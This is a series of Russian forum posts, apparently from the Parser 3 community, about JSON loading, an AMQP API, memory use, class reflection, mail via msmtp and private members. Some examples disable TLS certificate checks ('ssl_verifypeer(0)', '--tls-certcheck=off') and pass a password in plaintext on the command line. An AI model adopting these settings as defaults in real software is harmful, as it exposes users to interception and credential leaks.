на:\
\
[code]$h[^json::load[some.json]][/code]\
\
Сразу бы получали хеш."
"87030","Не знаю только, поддерживать только файлы или URL тоже (включая https через curl?)..."
"87031","Экономия небольшая.\
Можно же себе один раз написать обёртку и вызывать в одну строку.\
\
Лично я бы сказал, что больше JSONPath'а не хватает."
"87032","Мне не попадалось в задачах Парсером грузить JSON по URL, хотя, если подумать, очень даже применимо.\
\
Какие-нибудь данные [url=\"https://xras.ru/txt/kp_RJNH.json\"]магнитных бурь[/url] :)"
"87033","Если работа с API идет в формате [b]application/json[/b], то было бы удобно получать сразу json, а не тягать по всему коду [b]:parse[/b] и [b]taint/untaint[/b].\
\
Можно, конечно, написать свой метод преобразования, но из коробки было бы удобнее.\
\
JSON можно получить из:\
1. Текста.\
2. Файла.\
3. URL.\
\
На выходе получаем парсерный тип данных [b]hash[/b].\
Возможен еще [b]array[/b].\
\
Может, по этой причине стоит добавить метод загрузки для хеша и массива, а не [b]json[/b], например:\
[code]hash::load\
array::load[/code]\
а для преобразования из текста использовать еще один вариант [b]::create[/b] для указанных типов данных или добавить аналогичный метод?"
"87034","тут её нету https://www.parser.ru/download/nightly/"
"87035","— [url=https://www.parser.ru/download/nightly/]Ночные сборки[/url]"
"87036","https://www.parser.ru/off-line/download/nightly/parser3_5_2b_centos8x64amqp.tar.gz\
\
или всё что есть там сейчас собрано с поддержкой amqp ?"
"87037","Видимо, пока API не устаканился и идёт итеративная доработка, ссылки на экспериментальные сборки не публикуются, что логично."
"87038","Из нового:\
\
Настройки ссылок:\
\
- атрибуты target, rel\
- начало пути в href\
\
Настройки картинок:\
\
- атрибуты class\
- обертывание в <figure>\
- начало пути в src\
\
Если с атрибутами и обертыванием всё понятно, то \"начало пути\" позволяет дописывать в относительные ссылки картинок и ссылок домен сервера или кусок начального пути. Полезно, если у вас есть dev и prod, а в маркдауне хочется писать относительные ссылки.\
\
Помимо этого исправлено какое-то количество недочетов, всё есть в ишьях на Github"
"87039","Иначе, надо как-то извращаться в коде запрашивать есть ли уже очередь, если есть подключаться, если нет, то создать + подключиться. И это надо повторять во всех местах по коду, либо писать очередную обертку и таскать её за собой по проектам."
"87040","Сейчас есть возможность создавать объект через загрузку файла.\
\
В доке метод [b]::load[/b] есть у:\
[code]image\
xdoc\
table\
file[/code]\
\
К ним можно добавить [b]array[/b], [b]hash[/b].\
\
Загрузку для всех типов можно сделать по общей схеме:\
1. Если файл на диске или [b]HTTP[/b], то качать по принципу [b]file::load[/b].\
2. Если [b]HTTPS[/b], то качать через [b]curl[/b].\
\
Было бы неплохо задавать параметры по умолчанию для загрузки через [b]HTTP/HTTPS[/b] (таймауты и т.д.).\
Возможно, определять их в конфигурационном файле парсера и при необходимости переопределять."
"87041","Загрузка по http и работа с API почти вмегда требуют сложных настроек: сертификаты, заголовки, формы, статусы ответов и т.д.и т.п.\
\
Так что лучше оставить программисту самому подготовитьзапрос и разобрать ответ через json:parse.\
\
Если кому-то захочется сделать мегакомбайн, то всегда можно сделать обертку в стиле file::load — https://github.com/unhandled-exception/pf2/blob/8e3b162c14af544954ccde325ba0c0f1a27d3b38/lib/common.p#L743\
\
В Парсере мы уже имели проблемы с file::load, который работает только с http да и курловый биндинг дорабатвали несколько версий подряд. Не хочется повторять этот опыт. Лучше иметь болеемменее высокоуровневый АПИ над библиотеками, но не делать один метод для всего. :))))"
"87042","Обработка исключений и опции по умолчанию — по желанию.\
\
[code]@CLASS\
jsoff\
\
\
@OPTIONS\
locals\
\
\
@load[href;options]\
$result[^hash::create[]]\
\
^if(^href.pos[://] > -1){\
	$json[^curl:load[\
		^hash::create[$options]\
		$.url[$href]\
	]]\
}{\
	$json[^file::load[text;$href;^options.intersection[\
		$.charset[] $.offset[] $.limit[]\
	]]]\
}\
\
^if(def $json){\
	$result[^json:parse[^taint[as-is;$json.text];^options.intersection[\
		$.depth[]  $.double[] $.int[]   $.distinct[]\
		$.object[] $.array[]  $.taint[]\
	]]]\
}[/code]\
\
jsoff.html:\
[code]@main[]\
$json[^jsoff:load[https://mocki.io/v1/25745b2b-1c8d-478a-949f-68058cc52792][\
	$.useragent[Mozilla/5.0]\
	$.timeout(10)\
	$.ssl_verifypeer(0)\
]]\
<pre>^json:string[$json]</pre>\
\
$json[^jsoff:load[/example.json][\
	$.timeout(10)\
]]\
<pre>^json:string[$json]</pre>[/code]"
"87044","У хеша нет и не может быть явного текстового представления.\
У массива, в общем-то, тоже.\
\
Оно существует только в случае явной сериализации-десериализации по неким правилам в некий формат, всегда довольно ограниченный.\
\
Предлагается в Парсере сделать этим форматом JSON?\
Тогда у хеша и массива и метод save должен быть, сериализующий объект в JSON и сохраняющий его на диск."
"87046","У него чёткое стандартизированное строковое представление —XML, а класс обеспечивает объектную модель работы с ним (DOM)."
"87047","Если у нас есть конфиги или какие-то данные на диске, то гораздо удобнее иметь json:load, который прочитает файл, десериализует и при этом прставит ключам и скалярным значениям признак taint.\
\
Сделать обычное парсеровское чтение с диска или поход по http. Если требуется https или что-то ещё нестандратное, то велкам в curl:load."
"87049","Добрый день.\
Сейчас [b]amqp.declare_queue[/b] возвращает только название очереди, если оно не было передано.\
\
В структуре ответа есть еще параметры:\
[code]typedef struct amqp_queue_declare_ok_t_ {\
  amqp_bytes_t queue;      /**< queue */\
  uint32_t message_count;  /**< message-count */\
  uint32_t consumer_count; /**< consumer-count */\
} amqp_queue_declare_ok_t;[/code]\
\
Может, стоить сделать возврат всех параметров в виде хеша\
[code]{\
	\"queue\":\"test\",\
	\"consumer_count\":0,\
	\"message_count\":3\
}[/code]\
раз уж они все равно приходят?"
"87050","По мне так вызывать метод создания очереди для получения числа сообщений не совсем интуитивно. :) Кроме того, результирующий хеш придется куда-то присваивать даже если он не нужен, что не очень удобно. Сделал отдельный ^oAmqp.info[ $.queue[] ]. Подводный камень: исключение (и так понимаю падение канала), если очереди нет. Можно добавить опций."
"87051","[quote]^oAmqp.declare_queue[ $.exchange[]  название биржи ... ][/quote]\
\
Нет, в amqp очередь создается сама по себе, привязка к exchange осуществляется вызовом отдельным вызовом bind (а вот привязка к default exchange происходит по умолчанию).\
\
Итого сделал описанные выше упрощения:\
declare_exchange + declare_queue объединены в метод declare;\
delete_exchange + delete_queue объединены в метод delete;\
bind_queue -> bind;\
unbind_queue -> unbind;\
добавлен метод purge.\
\
По мне так и короче, и читаемость улучшилась."
"87052","[quote]consume - возможно имеет смысл добавить вариант без коллбека, чтобы просто возвращал сообщение?\
\
да. хорошая мысль. чтобы не делать get_message, который полезен и там надо бы запланировать брать сразу N-сообщений из очереди (одно по умолчанию)[/quote]\
\
Сделано, если не задан $.callback[] возвращается массив сообщений. Число сообщений задается через $.count(N), одно по умолчанию.\
\
Надо понимать, что если сообщений нет, amqp ждет их до timeout (по умолчанию 30 минут). Будет исключение (в отличии от варианта с callback, который завершается без ошибки).\
\
Пока не очень понятно, как все это будет использоваться. Хорошо бы было какое-нибудь реальное приложение, с которым можно \"поиграться\", а не просто мои тесты. Сейчас непонятно, как вести себя в пограничных ситуациях. Например в amqp после любой ошибки канал считается мёртвым. То есть и дальнейшие попытки работать с ним будут приводить к исключениям. Надо ли его переоткрывать? Но автоматически это делать странно, там же так понимаю надо переподписывать consumers..."
"87053","[quote]Когда я тестировал oAmqp.publish, то было совсем непривычно, что текст передается первым параметром, а остальное - хешем.\
Параметры хеша сразу видны в коде, а текстовый параметр как-то визуально теряется. [/quote]\
\
Есть такой момент. И если делать свою обертку, часто удобнее когда все одним хешом. В большинстве методов amqp действительно принимается только хеш, можно у publish сообщение убрать в $.msg[]. Но это вкусовщина, одним больше нравится параметр, другим опция..."
"87054","[quote]По мне так вызывать метод создания очереди для получения числа сообщений не совсем интуитивно[/quote]\
\
Речь была о возврате параметров, которые уже есть в ответе, а не использование данного метода для получения длины очереди.\
\
[quote]Кроме того, результирующий хеш придется куда-то присваивать даже если он не нужен, что не очень удобно[/quote]\
\
В теории можно добавить параметр, отвечающий за то, нужно ли возвращать хеш, если, конечно, такое допустимо.\
\
[quote]Сделал отдельный ^oAmqp.info[ $.queue[] ][/quote]\
\
Отдельный метод - это хорошо и нужно в других случаях, но зачем его дергать, если данные уже приходят в ответе?"
"87055","[quote]Отдельный метод - это хорошо и нужно в других случаях, но зачем его дергать, если данные уже приходят в ответе?[/quote]\
\
declare предназначен в первую очередь для создания очереди, в таком случае число сообщений там очевидно 0.\
\
[quote]В теории можно добавить параметр, отвечающий за то, нужно ли возвращать хеш, если, конечно, такое допустимо.[/quote]\
\
Мне не кажется это логичным. Отдельный метод куда прозрачнее.\
\
P.S. Не случайно написал ранее - \"Пока не очень понятно, как все это будет использоваться. Хорошо бы было какое-нибудь реальное приложение, с которым можно \"поиграться\", а не просто мои тесты.\" Если/когда увижу реальное приложение и реальные сценарии, будет понятнее, как сделать API удобнее."
"87056","Добавил правил в определение пола без явного указания по отчествам:\
\
[code]-оглы, -углу, -улы, -улу, -уулу, -кызы, -гызы[/code]\
\
и фамилиям (см. в [url=\"https://github.com/Spearance/fio-morph-p3\"]коде[/url])."
"87057","[code]@main[][result]\
^for[y](0;9){\
  ^for[y](0;9999){\
    ^if( true ){}\
#   ^switch[]{^case[DEFAULT]{}}\
  }\
  ^memory:compact[]\
  $u[$status:memory]\
  $console:line[$u.used]\
}[/code]\
\
[code]$ ./parser3 test.p \
168\
168\
168\
168\
168\
168\
168\
168\
168\
168[/code]\
\
[code]@main[][result]\
^for[y](0;9){\
  ^for[y](0;9999){\
#   ^if( true ){}\
    ^switch[]{^case[DEFAULT]{}}\
  }\
  ^memory:compact[]\
  $u[$status:memory]\
  $console:line[$u.used]\
}[/code]\
\
[code]$ ./parser3 test.p \
1212\
2184\
3308\
4216\
5696\
6480\
7268\
8332\
9116\
10928[/code]\
\
Почему так? В принципе, if'ами можно обойтись, но найти где течет было как минимум интересно...\
\
[code]$ ./parser3 \
./parser3: file not specified\
Parser/3.5.0 (compiled on x86_64-unknown-linux-gnu)[/code]"
"87058","Он примерно эквивалентен такому:\
[code]^for[y](0;9){\
  ^for[y](0;9999){\
    $x{code}\
  }\
}[/code]\
\
В этом случае, как и в случае ^case[DEFAULT]{} происходит сохранение кода для возможного последующего выполнения. При этом код привязывается к текущему контексту исполнения, в данном случае к методу main, и поэтому может быть собран сборщиком мусора только по завершению метода. В этот момент связь \"рвется\" и использование кода за пределами контекста вызовет ошибку \"junction used outside of context\".\
\
\
Поэтому более жизненный тест выглядит например так:\
\
[code]@core[]\
  $result[]\
  ^for[y](0;9999){\
#    ^if( true ){}\
    ^switch[]{^case[DEFAULT]{}}\
  }\
\
@main[][result]\
^for[y](0;9){\
  ^core[]\
  ^memory:compact[]\
  $u[$status:memory]\
  $console:line[$u.used]\
}\
\
./parser3 test.html \
360\
528\
532\
844\
848\
844\
1488\
1488\
1488\
1488[/code]\
\
Как видно, стало заметно лучше. С чем связано рост сейчас так сразу не скажу, но едва ли это утечка. Внутри core каждый раз копится массив из 10,000 указателей на привязанный код, но они освобождаются по завершению метода. Но да, ^if() в любом случае эффективнее ^switch, хотя едва ли в реальном использовании эта разница будет так заметна."
"87059","да, нормально пишут на p3 только соннет и опус от Клауде. \
я сделал фреймворк, который может залезть в проект, изучить его и вносить правки. С помощью Соннет он справился с проектом на Парсере. \
Хватает коротких общих промптов. \
В перспективе это может быть очень сильное решение на рынке: P3 - это закрытая система, очень отлаженная, стабильная и с, на мой взгляд, наилучшей подсистемой вывода ошибок. \
А это автоматически минимизирует глюки ИИ. \
Тот же Соннет под Девином на типовом ноде-проекте сдувается после пары десятков циклов - ну как сдувается, начинает воспроизводить одну и ту же ошибку и решать ее одним и тем же кривым способом - это известный феномен. Кажется, если работать на p3 то таких циклов будет несколько сотен..."
"87060","Добрый день.\
Есть какие-то базовые классы, которые могут наследоваться другими.\
Есть конфиг, в котором прописывается путь к конечному файлу.\
\
Задача - получить название класса при подключении файла.\
Простой пример - юзер, который при необходимости переопределяется и используется для авторизации.\
\
[code]@CLASS\
test\
\
@create[]\
...[/code]\
\
Метода создания может и не быть.\
Нужно после ^use[путь к файлу] точно знать, какое название у класса, чтобы создать объект или вызвать метод.\
\
^reflection:classes[] выдает список классов не в том порядке, в каком они подключались.\
Класс с названием test уже мог определяться ранее, но нужно точно знать, что это test именно из данного файла.\
\
В какую сторону копать?"
"87061","[code]$before[^reflection:classes[]]\
^use[путь к файлу]\
$declared[^reflection:classes[]]\
^declared.sub[$before][/code]\
\
\
Еще можно итерироваться по ^reflection:classes[] и сравнивать путь с ^reflection:filename[класс]. Можно конечно в парсере опций ^use или ^process добавить, но как-то это сомнительно..."
"87062","... и подключать точно зная имена. И мне не надо возиться с рефлексией и одноимёнными классами — явно указываю что и откуда взять на простейшем миниязыке: path/to/package.p@className::constructor.\
\
Выдернул из библиотеки чистый пример:\
[code]\
# use.p:\
#!./parser3\
\
@main[]\
  $t1[^getClass[./use_package.p@Test1]]\
  ^t1.method[]\
\
  $t2[^getClass[./use_package.p@Test2::init;$.var[12345]]]\
  ^t2.method[]\
\
@getClass[aClassDef;aOptions] -> [object]\
  $lClassDef[^pfString:parseClassDef[$aClassDef]]\
  ^if(def $lClassDef.package){\
    ^use[$lClassDef.package]\
  }\
\
  $result[^reflection:create[$lClassDef.className;^if(def $lClassDef.constructor){$lClassDef.constructor}{create};$aOptions]]\
\
@CLASS\
pfString\
\
@OPTIONS\
locals\
static\
\
@auto[]\
  $self.__pfString__[\
    $.classDefRegex[^regex::create[^^([^^@:]*)(?:@([^^:]+))?(?::+(.+))?^$]]\
  ]\
\
@parseClassDef[aClassDef] -> [$.className $.constructor $.package $.classDef]\
## Формат aClassDef: path/to/package.p@className::constructor\
  $aClassDef[^aClassDef.trim[]]\
  $result[$.classDef[$aClassDef]]\
  ^aClassDef.match[$self.__pfString__.classDefRegex][]{\
    $result.constructor[^if(def $match.3){$match.3}{create}]\
    ^if(def $match.2){\
      $result.className[$match.2]\
    }{\
       $result.className[^file:justname[$match.1]]\
     }\
    $result.package[^if($match.1 ne $result.className){$match.1}]\
  }\
\
#------------\
# use_package.p:\
\
@CLASS\
Test1\
\
@create[aOptions]\
\
@method[]\
  method1\
\
\
@CLASS\
Test2\
\
@init[aOptions]\
  $self.var[$aOptions.var]\
\
@method[]\
  method2 $self.var\
\
[/code]"
"87063","Пробовал этот вариант ранее.\
Наследования может и не быть, поэтому имена могут совпадать.\
\
Если класс с таким именем уже подключался, то новый будет использовать:\
[code]$.replace(true)[/code]\
\
В этом случае список классов не изменится.\
\
Есть тупой вариант - загрузить класс через [b]file::load[/b] и регуляркой выцепить название, но интересует человеческий способ."
"87064","Если бы в [b]reflection:classes[/b] классы располагались в порядке подключения, то последний класс всегда был бы последним."
"87066","В подключаемом файле может быть несколько классов, классы могут подключаться через @USE, классы могут быть подключены через ^use в @auto и все это рекурсивно. Поэтому рассчитывать на порядок загрузки классов в Парсер не стоит и гарантировать некий порядок никто не будет — это может сделать невозможным оптимизации внутри Парсера в будущем."
"87067","На линуксе стоит msmtp, профили все настроены через внешний релей с авторизацией.\
Сделан ln -s /bin/msmtp /usr/sbin/sendmail\
 \
echo \"Test message.\" | /usr/sbin/sendmail -t -i -f website@fromdomain.ru  vasya@mail.ru\
или\
echo \"Test message.\" | /usr/sbin/sendmail -t -i -f website@fromdomain.ru -a local_smtp_x vasya@mail.ru\
\
\
из консоли всё четко шлется и доставляется!\
\
Пишем код на пареcре, и он настойчиво лезет в $MAIL.SMTP и как от него избавиться непонятно. А в этой связке это по-моему 5-е колесо. msmtp сам может куда надо законнетиться, авторизоваться и поддерживает кучу профилей через ключ -a\
$MAIL.SMTP[]\
^MAIL.delete[SMTP]\
Вопрос не решают :(\
\
[code]\
@main[]\
\
^mail:send[\
      $.from[САЙТ <website@fromdomain.ru>]\
      $.to[Вася <vasya@mail.ru>]\
      $.subject[как дела]\
      $.text[Как у тебя дела? У меня - изумительно!]\
]\
[/code]\
\
Может как-то доработать ^mail:send[] для работы через msmtp ?\
\
Если удалить ключ SMTP получаем ошибку\
Parser was configured with --with-sendmail=/usr/sbin/sendmail -i -t -f postmaster key, to change sendmail you should reconfigure and recompie it"
"87068","Поменял у классов тип хеша на хранящий порядок. Одно это не помогло бы в описанном ранее случае:\
\
[quote]Если класс с таким именем уже подключался, то новый будет использовать:\
$.replace(true)\
В этом случае список классов не изменится.\
[/quote]\
\
В таком случае сделал не замену, а удаление старого класса и запись нового. Закоммичено, завтра будет в ночных сборках."
"87069","[quote]$MAIL.SMTP[]\
^MAIL.delete[SMTP]\
Вопрос не решают :( \
[/quote]\
\
В какой момент вы пытаетесь это сделать? Конфигурирование класса mail исторически происходит до начала работы класса MAIN, то есть удалять перед ^mail:send[] поздно, проще в cgi/auto.p убрать. Правда сложно сказать зачем оно так, без проблем можно переделать, чтобы можно было по ходу дела менять, кода даже меньше будет... Все равно там странно - содержимое хеша $MAIN:MAIL менять можно когда угодно, а сам хеш - нет.\
\
То есть:\
\
[code]$MAIL.SMTP[another.server]\
^mail:send[] - сработает\
$MAIL[ $.SMTP[yet.another.server] ]\
^mail:send[] - будет использовано прошлое значение...\
[/code]"
"87070","Можно поднять рядом с парсером exim и пихнуть в него письмо, но у него не получается его на условный mxs.mail.ru:25 засунуть :(\
\
telnet> o mxs.mail.ru 25\
Trying 217.69.139.150...\
^C\
\
зависли ...\
\
А если слать через внешний smtp и порт 465 парсер не умеет авторизацию делать по логину+паролю -- приехали.\
\
Можно решить через msmtp это легко, прописав в его конфиге host:465 login+password\
Но парсеру вместо тупого вызова msmtp (симлинк sendmail) надо обязательно видимо SMTP-сервер :("
"87071","https://www.parser.ru/docs/lang/?parserconfmethod.htm\
\
\"в бинарных версиях, распространяемых с сайта parser.ru, задана команда отправки писем\
/usr/sbin/sendmail -i -t -f postmaster\"\
\
Если не задавать $MAIN:MAIL, будет использоваться именно она (в вашем случае будет вызван msmtp, что вроде как вам и требуется)."
"87072","Было бы наверное не плохо уметь делать пустое значение в любом месте кода $MAIL[]"
"87073","Например ключ \"-a smtp_mail_ru\"\
\
echo \"Test message.\" | /usr/sbin/sendmail -t -i -f website@fromdomain.ru -a local_smtp_x vasya@mail.ru"
"87074","https://www.parser.ru/docs/lang/?parserconfmethod.htm - уже же даже ссылку дал.\
\
Но в случае safe версии понятно остается только враппер на shell положить вместо /usr/sbin/sendmail, который вызовет /bin/msmtp уже с нужными параметрами."
"87075","До враппера не додумался - спасибо за подсказку. Сделал - всё работает идеально :)\
\
Ну и не задавать переменную изначально из серии \"а что так можно было?\" -- не очевидно (интуитивно ожидалось, что её можно сбросить)"
"87077","Так всё авторизуется и отправляется из bash\
[code]echo \"Test message.\" | /usr/sbin/sendmail -t -i -f info@fromdomain.ru --host=mx.fromdomain.ru --port=465 --auth=login --user=\"info@fromdomain.ru\" --passwordeval=\"echo -n qwerty\" --tls=on --tls-starttls=off --tls-certcheck=off vasya@mail.ru\
[/code]\
\
А когда подсовываем параметры через парсер\
[code]\
######################################\
@main[]\
\
^sendMail[\
      $.from[Сайт <info@fromdomain.ru>]\
      $.to[Вася <vasya@mail.ru>]\
      $.subject[как дела твои]\
      $.text[Как у тебя дела? У меня - изумительно!]\
]\
\
\
^eval(2+3)\
\
######################################\
@sendMail[h]\
\
^h.add[$.options[--host=mx.fromdomain.ru --port=465 --auth=login --user=\"info@fromdomain.ru\" --passwordeval=\"echo -n qwerty\" --tls=on --tls-starttls=off --tls-certcheck=off]]\
^mail:send[$h]\
[/code]\
\
Получаем ошибку \
\
send\
\
'/usr/sbin/sendmail' reported problem: sh: -c: line 1: unexpected EOF while looking for matching `\"'\
sendmail: cannot read output of '\"echo'\
\
Если без кавычек, то он не может авторизоваться\
send\
\
'/usr/sbin/sendmail' reported problem: sendmail: authentication failed (method LOGIN)\
sendmail: server message: 535 5.7.8 Error: authentication failed: (reason unavailable)\
sendmail: could not send mail"
"87078","Это не командная строка bash, кавычки там не поддерживаются, аргументы разделяются по пробелу, то есть такое: --passwordeval=\"echo -n qwerty\" будет передано как 3 аргумента: --passwordeval=\"echo, -n, qwerty\". Проще вернуться к врапперу на shell. :)"
"87080","https://github.com/artlebedev/parser3/blob/master/src/classes/mail.C#L145"
"87081","а нельзя эти options (или может ввести новый спец-ключ) и \"как есть\" в конец команды приклеивать как строку?"
"87082","Например поддержать массив опций, а не только строку. Но не то чтобы это часто надо. Так что задачу добавлю, но едва ли это будет скоро сделано."
"87083","От формы обратной связи до регистрации и забыли пароль.\
\
С блокировкой хостерами 25-го порта начинаются приключения. MSMTP решает проблему, но тут надо таскать за собой его конфиг /etc/msmtprc, хотя можно было бы обойтись уровнем приложения легко, без дополнительных конфигов внешних приложений.\
Вообще странно, что строка эта сплитится по пробелам (чтобы потом по сути их опять склеить, ну может в другом порядке и может что-то исключить) - надо было либо её как есть клеить, либо делать через хеш-параметров (как вы и предложили выше) и их тоже как есть склеивать.\
\
Я к тому, что можно один раз доделать нормально и закрыть вопрос с отправкой почты раз и на всегда.\
И ещё не очень понятно почему в unsafe mode можно менять sendmail на другое приложение через параметризацию, а в safe mode нельзя?"
"87084","Это задача системного администратора. Почту отправляет не только сайт, но и cron и еще потенциально куча сервисов. Да, если нужно используется smarthost, но опять же это задача администратора. Ему же и удобнее, когда все письма зафиксированы в логах почтового сервера (у нас обычно postfix)."
"87085","Или когда есть, но 25 порт для него на исходящие закрыт и хостер упирается и не открывает.\
Яндекс.клауд например.\
Нету предмета для администрирования. Когда есть и он работает через 25й порт, то $MAIL[$.SMTP[...]] достаточно."
"87086","В postfix настраивается в одну команду:\
relayhost = your.provider.smtp\
Но это мы уже ушли от парсера."
"87087","[code]	^use[class1.p;\
		$.replace(true)\
	]\
	^use[class.p;\
		$.replace(true)\
	]\
	^use[class1.p;\
		$.replace(true)\
	][/code]\
\
Нужно реализовывать метод [b]use[/b], чтобы можно было снова подключать класс и получать его название через [b]reflection:classes[/b]?\
Или можно как-то сделать, чтобы вновь подключаемый класс становился последним без этого?"
"87088","При повторном подключении класса он становится последним в хеше, который выдает ^reflection:classes[]."
"87089","class.p:\
[code]@CLASS\
test\
\
@method1[]\
[/code]\
\
class1.p:\
[code]@CLASS\
test1\
\
@method2[]\
[/code]\
\
index.html:\
[code]@main[]\
	^use[class1.p;\
		$.replace(true)\
	]\
	^use[class.p;\
		$.replace(true)\
	]\
	^use[class1.p;\
		$.replace(true)\
	]\
	$hClasses[^reflection:classes[]]\
	<pre>!^json:string[$hClasses]!</pre>\
	<pre>!^hClasses._at(-1)[key]!</pre>[/code]\
\
В итоге последний метод - [b]test[/b], а должен быть - [b]test1[/b].\
\
Возможно, проблема в том, что при повторном подключении того же самого файла фактически не происходит его подключения.\
Когда файлы называются по-разному, но название класса совпадает, то [b]use[/b] работает."
"87090","В документации правда не очень однозначно написано:\
\
[quote]попытки подключить уже подключенные ранее модули не приводят к повторному считыванию файлов с диска.[/quote]\
\
Если вам нужна повторная обработка - используйте ^process[], как в реализации ^use[] на парсере (но понятно без $USED):\
\
https://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/tests/366.html?view=markup"
"87091","Но при этом нужно, чтобы название подключенного класса было последним в списке.)\
\
Если переопределить [b]^use[][/b], то будет повторное подключение, а это не нужно."
"87092","Если файл не грузится/не компилируется, то и класс не подключается, а значит и список классов не может поменяться."
"87093","Если был какой-нибудь хеш, который хранил бы соответствие [b]путь к файлу - название класса[/b], то при повторном подключении можно было бы взять название класса из этого хеша и сделать, как уже сейчас в ночных сборках.\
\
[code]$USED.$filename[название класса и, возможно, еще какие-нибудь параметры][/code]\
\
При повторном подключении не нужно загружать файл, т.к. название класса в нем будет прежним, поэтому просто взять из уже полученных ранее данных.\
\
Такое возможно?"
"87094","В парсер это добавляться не будет, поскольку это лишние действия."
"87095","Такое подключение уже использованного класса не поместит его в конец списка:\
[code]	^use[class1.p;\
		$.replace(true)\
	][/code]\
\
А такое - поместит:\
[code]	^use[../test/class1.p;\
		$.replace(true)\
	][/code]\
\
Если уж для оптимизации уже подключенные файлы заново не подключаются, то, может, стоит их подключать по абсолютному пути (от корня веб-пространства или диска)?\
Или это тоже фича, чтобы можно было повторно использовать один и тот же файл?)"
"87096","Добрый день.\
Как я понял, сейчас все переменные и методы класса по умолчанию [b]public[/b].\
\
Есть ли стандартный способ сделать переменную/метод [b]protected/private[/b]?"
"87097","Обычно делают как в Питоне — начинают приватные поля со знака подчеркивания. В коде прекрасно видно, если появляется обращение объект._член и это не self._член. Значит в этом месте делается какая-то ерунда.\
\
В питоне отлично работает — https://docs.python.org/3/tutorial/classes.html#private-variables"
"87098","[b]test.p:[/b]\
[code]@CLASS\
test\
\
@OPTIONS\
locals\
\
@create[]\
\
@getPrivate[]\
	$result[$self.vars.private]\
\
@GET_DEFAULT[sFieldName]\
	^if(^self.privateVarNames.contains[$sFieldName]){\
		^return[PRIVATE]\
	}\
	$result[$self.vars.[$sFieldName]]\
\
@GET_vars[]\
	^if(^reflection:uid[$self] ne ^reflection:uid[$caller.self]){\
		^return[PRIVATE]\
	}\
	$result[\
		$.public[777]\
		$.private[666]\
	]\
\
@GET_privateVarNames[]\
	^if(^reflection:uid[$self] ne ^reflection:uid[$caller.self]){\
		^return[PRIVATE]\
	}\
	$result[\
		$.private[]\
	][/code]\
\
[b]index.html:[/b]\
[code]	^use[test.p]\
	$oTest[^test::create[]]\
	public=$oTest.public<br />\
	private=$oTest.private<br />\
	private_by_method=^oTest.getPrivate[]<br />\
	vars=^json:string[$oTest.vars]<br />\
	privateVarNames=^json:string[$oTest.privateVarNames][/code]\
\
На выходе получаем:\
[quote]public=777\
private=PRIVATE\
private_by_method=666\
vars=\"PRIVATE\"\
privateVarNames=\"PRIVATE\"[/quote]\
\
Наверняка что-то не учел.)\
Есть ли смысл копать в этом же направлении?"
"87099","Да и вся эта возня с разделением на приватные и публичные поля и методы прекрасно решается на уровне соглашений об именах. Жесткий контроль не требуется нигде. А в языках с динамической типизацией и подавно."
"87100","Из очень хорошей книги «Дизайн и эволюция языка C++\
\
~~~~~~~~~~~\
\
13.9. Защищенные члены\
\
Простая модель сокрытия данных на основе закрытых и открытых секций класса прекрасно работала в C++, пока он использовался в основном как язык для абстрагирования данных. Данная модель была вполне пригодна и для большого\
класса задач, где наследование применялось для объектноориентированного программирования. Однако, когда речь заходит о классах, выясняется, что к любому\
из них обращаются либо производные от него классы, либо прочие классы и функции. Функциичлены и дружественные функции, реализующие операции с классом, воздействуют на его объекты от имени одного из этих «пользователей». Механизм открытых и закрытых членов позволяет четко различать автора класса и т.п., но не дает возможности приспособить поведение к нуждам производных классов.\
\
Вскоре после выхода версии 1.0 ко мне в кабинет заглянул Марк Линтон и умолял добавить третий уровень контроля доступа, который напрямую поддержал бы стиль, применяемый в библиотеке Interviews (см. раздел 8.4.1). Она разрабатывалась в Стэнфорде. Мы выбрали слово protected для обозначения членов класса, которые вели себя как «открытые» для прочих членов самого этого класса и производных от него, но как «закрытые» для всех остальных «пользователей».\
\
Марк был главным создателем библиотеки Interviews. Основываясь на опыте\
и примерах из настоящих программ, он убедительно доказывал, что защищенные\
данные абсолютно необходимы при проектировании эффективной и расширяемой инструментальной библиотеки для X Windows. Альтернативой защищенным\
данным, по его словам, были неприемлемо низкая эффективность, неуправляемое\
распространение встраиваемых интерфейсных функций или глобальные данные.\
Защищенные данные и, в более широком смысле, защищенные члены казались\
меньшим злом. Кроме того, так называемые чистые языки вроде Smalltalk поддерживали именно такую – довольно слабую – защиту вместо более сильной защиты C++, основанной на концепции private. Мне самому приходилось писать код, в котором данные были объявлены как public просто для того, чтобы ими можно было пользоваться в производных классах. Видел я также и программы, в которых концепция friend использовалась неудачно и лишь ради того, чтобы дать доступ явно поименованным производным классам.\
\
Это были веские аргументы, убедившие меня в том, что защищенные члены надо разрешить. Однако «веские аргументы» могут найтись для каждого мысли\
мого языкового средства и для любого возможного его использования. Нам же\
нужны факты. Не имея фактов и должным образом осознанного опыта, мы уподобляемся греческим философам, которые на протяжении нескольких веков велиблистательные дискуссии, но так и не смогли договориться, из каких же четырех (а может, пяти) основных субстанций состоит Вселенная.\
\
Примерно через пять лет Марк запретил использование защищенных членов\
данных в Interviews, поскольку они стали источником ошибок и серьезно усложнили сопровождение. В пленарном докладе Барбары Лисков (Barbara Liskov) на\
конференции OOPSLA [Liskov, 1987] достаточно подробно описываются теоретические и практические проблемы, связанные с контролем доступа на основе\
концепции protected. Мой опыт показывает, что всегда существовали альтернативы размещению информации в общем базовом классе, где она была бы доступной производным классам. Я сомневался по поводу protected еще и потому, что\
при небрежном программировании общий базовый класс слишком уж легко использовать как разновидность глобальных данных.\
\
К счастью, вас никто не принуждает пользоваться защищенными данными в C++. По умолчанию члены класса имеют атрибут private, и обычно такой выбор лучше. Замечу, впрочем, что ни одно из этих возражений не относится к защищенным членамфункциям. Убежден, что protected прекрасно подходит для специфицирования операций, которыми можно пользоваться в производных классах.\
\
Защищенные члены появились в версии 1.2. Защищенные базовые классы были впервые описаны в ARM и включены в версию 2.1. Оглядываясь назад, я думаю, что protected– это тот случай, когда «веские аргументы» и мода сбили меня с пути истинного и заставили отказаться от своих убеждений ради новых\
возможностей.\
\
~~~~~~~~~~~\
\
Дополню разработчика самого универсального языка программирования… Чем меньше мы мешаем программистам пользоваться нашими объектами, тем лучше. Чем больше я программирую тем чаще делаю все переменные публичными. :)"
"87101","В продолжении тестирования класса [url=\"https://github.com/Spearance/markdown-p3\"]makdown.p[/url] решил замахнуться на святое и переверстал всю документацию Parser 3 в Markdown.\
\
На сегодня — это практически копия исходной документации, лишь в некоторых местах совсем чуть-чуть подправлены описания, примеры, добавлены картинки в класс [b]image[/b] и прочие мелочи.\
\
Вся структура приведена к единому стилю, но со своими особенностями.\
\
